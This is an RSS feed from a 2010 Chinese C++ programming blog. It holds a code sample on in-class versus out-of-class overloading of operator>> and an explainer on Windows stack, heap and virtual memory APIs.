﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-兔子的算法集中营-文章分类-C/C++</title><link>http://www.cppblog.com/superKiki/category/13706.html</link><description>知行合一，自强不息</description><language>zh-cn</language><lastBuildDate>Tue, 24 Aug 2010 02:48:59 GMT</lastBuildDate><pubDate>Tue, 24 Aug 2010 02:48:59 GMT</pubDate><ttl>60</ttl><item><title>类内重载与类外重载</title><link>http://www.cppblog.com/superKiki/articles/124132.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Fri, 20 Aug 2010 15:54:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/124132.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/124132.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/124132.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/124132.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/124132.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #000000">#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">iostream</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">using</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">namespace</span><span style="COLOR: #000000">&nbsp;std;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">类内重载</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;string_A<br><img id=Codehighlighter1_64_124_Open_Image onclick="this.style.display='none'; Codehighlighter1_64_124_Open_Text.style.display='none'; Codehighlighter1_64_124_Closed_Image.style.display='inline'; Codehighlighter1_64_124_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_64_124_Closed_Image onclick="this.style.display='none'; Codehighlighter1_64_124_Closed_Text.style.display='none'; Codehighlighter1_64_124_Open_Image.style.display='inline'; Codehighlighter1_64_124_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_64_124_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_64_124_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">7</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;&gt;</span><span style="COLOR: #000000">&nbsp;(istream&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">&nbsp;input)<br><img id=Codehighlighter1_117_121_Open_Image onclick="this.style.display='none'; Codehighlighter1_117_121_Open_Text.style.display='none'; Codehighlighter1_117_121_Closed_Image.style.display='inline'; Codehighlighter1_117_121_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_117_121_Closed_Image onclick="this.style.display='none'; Codehighlighter1_117_121_Closed_Text.style.display='none'; Codehighlighter1_117_121_Open_Image.style.display='inline'; Codehighlighter1_117_121_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedSubBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_117_121_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_117_121_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;main()<br><img id=Codehighlighter1_140_208_Open_Image onclick="this.style.display='none'; Codehighlighter1_140_208_Open_Text.style.display='none'; Codehighlighter1_140_208_Closed_Image.style.display='inline'; Codehighlighter1_140_208_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_140_208_Closed_Image onclick="this.style.display='none'; Codehighlighter1_140_208_Closed_Text.style.display='none'; Codehighlighter1_140_208_Open_Image.style.display='inline'; Codehighlighter1_140_208_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_140_208_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_140_208_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;string_A&nbsp;string_a;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">cin&gt;&gt;string_a;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">Fail!!</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;string_a</span><span style="COLOR: #000000">&gt;&gt;</span><span style="COLOR: #000000">cin;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">类外重载</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000">&nbsp;string_B<br><img id=Codehighlighter1_233_244_Open_Image onclick="this.style.display='none'; Codehighlighter1_233_244_Open_Text.style.display='none'; Codehighlighter1_233_244_Closed_Image.style.display='inline'; Codehighlighter1_233_244_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_233_244_Closed_Image onclick="this.style.display='none'; Codehighlighter1_233_244_Closed_Text.style.display='none'; Codehighlighter1_233_244_Open_Image.style.display='inline'; Codehighlighter1_233_244_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_233_244_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_233_244_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">operator</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;&gt;</span><span style="COLOR: #000000">&nbsp;(istream&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">&nbsp;input,&nbsp;string_B&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">output)<br><img id=Codehighlighter1_301_304_Open_Image onclick="this.style.display='none'; Codehighlighter1_301_304_Open_Text.style.display='none'; Codehighlighter1_301_304_Closed_Image.style.display='inline'; Codehighlighter1_301_304_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_301_304_Closed_Image onclick="this.style.display='none'; Codehighlighter1_301_304_Closed_Text.style.display='none'; Codehighlighter1_301_304_Open_Image.style.display='inline'; Codehighlighter1_301_304_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_301_304_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_301_304_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;Test()<br><img id=Codehighlighter1_320_386_Open_Image onclick="this.style.display='none'; Codehighlighter1_320_386_Open_Text.style.display='none'; Codehighlighter1_320_386_Closed_Image.style.display='inline'; Codehighlighter1_320_386_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_320_386_Closed_Image onclick="this.style.display='none'; Codehighlighter1_320_386_Closed_Text.style.display='none'; Codehighlighter1_320_386_Open_Image.style.display='inline'; Codehighlighter1_320_386_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_320_386_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_320_386_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;string_B&nbsp;string_b;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;cin</span><span style="COLOR: #000000">&gt;&gt;</span><span style="COLOR: #000000">string_b;<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">string_b&gt;&gt;cin;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">Fail</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif"></span><span style="COLOR: #000000">}</span></span></div>
<img src ="http://www.cppblog.com/superKiki/aggbug/124132.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-08-20 23:54 <a href="http://www.cppblog.com/superKiki/articles/124132.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>windows内存管理机制</title><link>http://www.cppblog.com/superKiki/articles/117152.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Fri, 04 Jun 2010 02:04:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/117152.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/117152.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/117152.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/117152.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/117152.html</trackback:ping><description><![CDATA[<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>C/C++</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">程序的内存分配分为栈分配和堆分配</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>2</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">种。栈分配又称为静态分配，其大小由编译器决定；堆分配称为动态分配，其大小不受编译器的限制。</span></font></font></p>
<h1 style="MARGIN: 0mm 0mm 0pt"><span style="FONT-FAMILY: simsun"><font color=#000000 size=3>栈</font></span></h1>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">程序的局部变量、临时变量、函数的参数、函数的返回值等系统自动分配的变量都是在栈里分配，当前执行代码的指针也是存放在栈里面，而我们用</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>malloc</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">或</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>new</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">申请的内存是在堆里分配的。栈里分配的内存由系统进行管理，无需手动释放，而堆里分配的内存需要用户手动释放。栈的大小是在编译时确定的，编译后其大小就不可改变。在</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>VC</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">中栈的大小默认为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>1MB</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，其大小可在</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>VC</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>[</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">项目</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>]-[</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">属性</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>]-[Linker]-[</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">系统</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>]</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">下修改。可以看到这里有</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>2</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">个与栈大小相关的设定：</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>reserve</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>reserve,commit</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，他们的区别见虚拟地址空间。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">注意栈的大小只影响</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>.exe</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">程序，而不会影响</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dll</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">程序。</span></font></font></p>
<h1 style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">虚</span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">拟</span><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">地址空</span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">间</span></font></font></h1>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>Win32</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">用虚拟地址空间来管理进程的内存，在</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Win32</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">中一个进程最多可用</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>4GB</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的内存。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">下图描述了各种分配的关系：</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN"><a href="http://blufiles.storage.live.com/y1pQmIgZkSnFyLowd14F4d3qhW8bBnNPO8HyuwiRK_nLoZ5MNoOK3krEsSXRheLNj8maCg5lIS-x9cBEc_8lJj8IA" target=_blank><img style="WIDTH: 496px; HEIGHT: 343px" title=Windows内存管理(1) alt=20070604104307154 src="http://blufiles.storage.live.com/y1pQmIgZkSnFyLowd14F4d3qhW8bBnNPO8HyuwiRK_nLoZ5MNoOK3krEsSXRheLNj8maCg5lIS-x9cBEc_8lJj8IA" width=253 height=200 real_src="http://blufiles.storage.live.com/y1pQmIgZkSnFyLowd14F4d3qhW8bBnNPO8HyuwiRK_nLoZ5MNoOK3krEsSXRheLNj8maCg5lIS-x9cBEc_8lJj8IA"></a></span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><span style="FONT-FAMILY: 'Century', 'serif'; FONT-SIZE: 10.5pt" lang=EN-US XML:LANG="EN-US"><font face="">&nbsp;<wbr></font></span></span></font></font><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>Win32</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">中一个进程可能要用比当前可用的物理内存还多的内存，系统会把一部分内存里的内容挪到硬盘上，这称为换页。进程的虚拟地址空间对内存的组织以页</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>(Page)</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">为单位，在</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>x86</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">机器上页的大小是</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>4KB</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">。当一个进程调用一个</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">时，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">分配的内存是在调用进程的地址空间内。若希望一块内存可被别的进程访问，可创建一个文件映像</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>(File Mapping)</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">一个虚拟内存空间的页有以下</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>3</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">种状态：</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>Free</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：未被使用，进程无法访问这样的页。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>Reserve</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：被预留。被预留的空间将不可被别的内存分配函数（如</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>malloc</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">）使用。这样的页并未与实际的物理内存相关联，因此进程无法访问这样的页。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>Commit</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：实际分配了的页。这样的页可被进程访问，但受到访问权限的限制。只在第一次读写时系统会把这样的页载入物理内存，当进程结束后系统会释放这样的页占据的物理空间。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">虚拟地址空间主要相关函数：</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>VirtualAlloc</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：分配空间，使用参数</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>MEM_COMMIT|MEM_RESERVE</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">实际分配空间。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>VirtualFree</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：释放空间</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>VirtualLock</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>VirtualUnlock</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：让空间驻留在内存中，防止空间的内容被交换到硬盘上</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>VirtualProtect</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：修改空间的访问权限</span></font></font></p>
<h1 style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">堆分配</span></font></font></h1>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">要使用堆分配首先要创建一个堆，堆是进程拥有的一种对象，创建了堆我们就得到了这个对象的句柄</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>(Handle)</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">。在进程创建时系统会为进程创建一个默认堆，这个堆的大小默认 为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>1MB</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，其大小可在</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>VC</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>[</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">项目</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>]-[</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">属性</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>]-[Linker]-[</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">系统</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>]</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">下修改，其说明参考栈。在销毁堆时会一并销毁分配在堆上的对象，但要注意此时指向对象的指针会成为野指针。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">堆操作主要相关函数：</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>GetProcessHeap</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：得到进程的默认堆，要注意的是我们使用的</span></font><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">的</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>malloc()</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">函数并不是在 这个默认堆上分配空间的</span></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>GetProcessHeaps</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：得到进程的所有堆对象，包括</span></font><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">的堆</span><font face=Century><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US">_crtheap</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapCreate</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：创建堆</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapAlloc</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：在堆上分配空间</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapFree</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：释放空间</span></font></font></p>
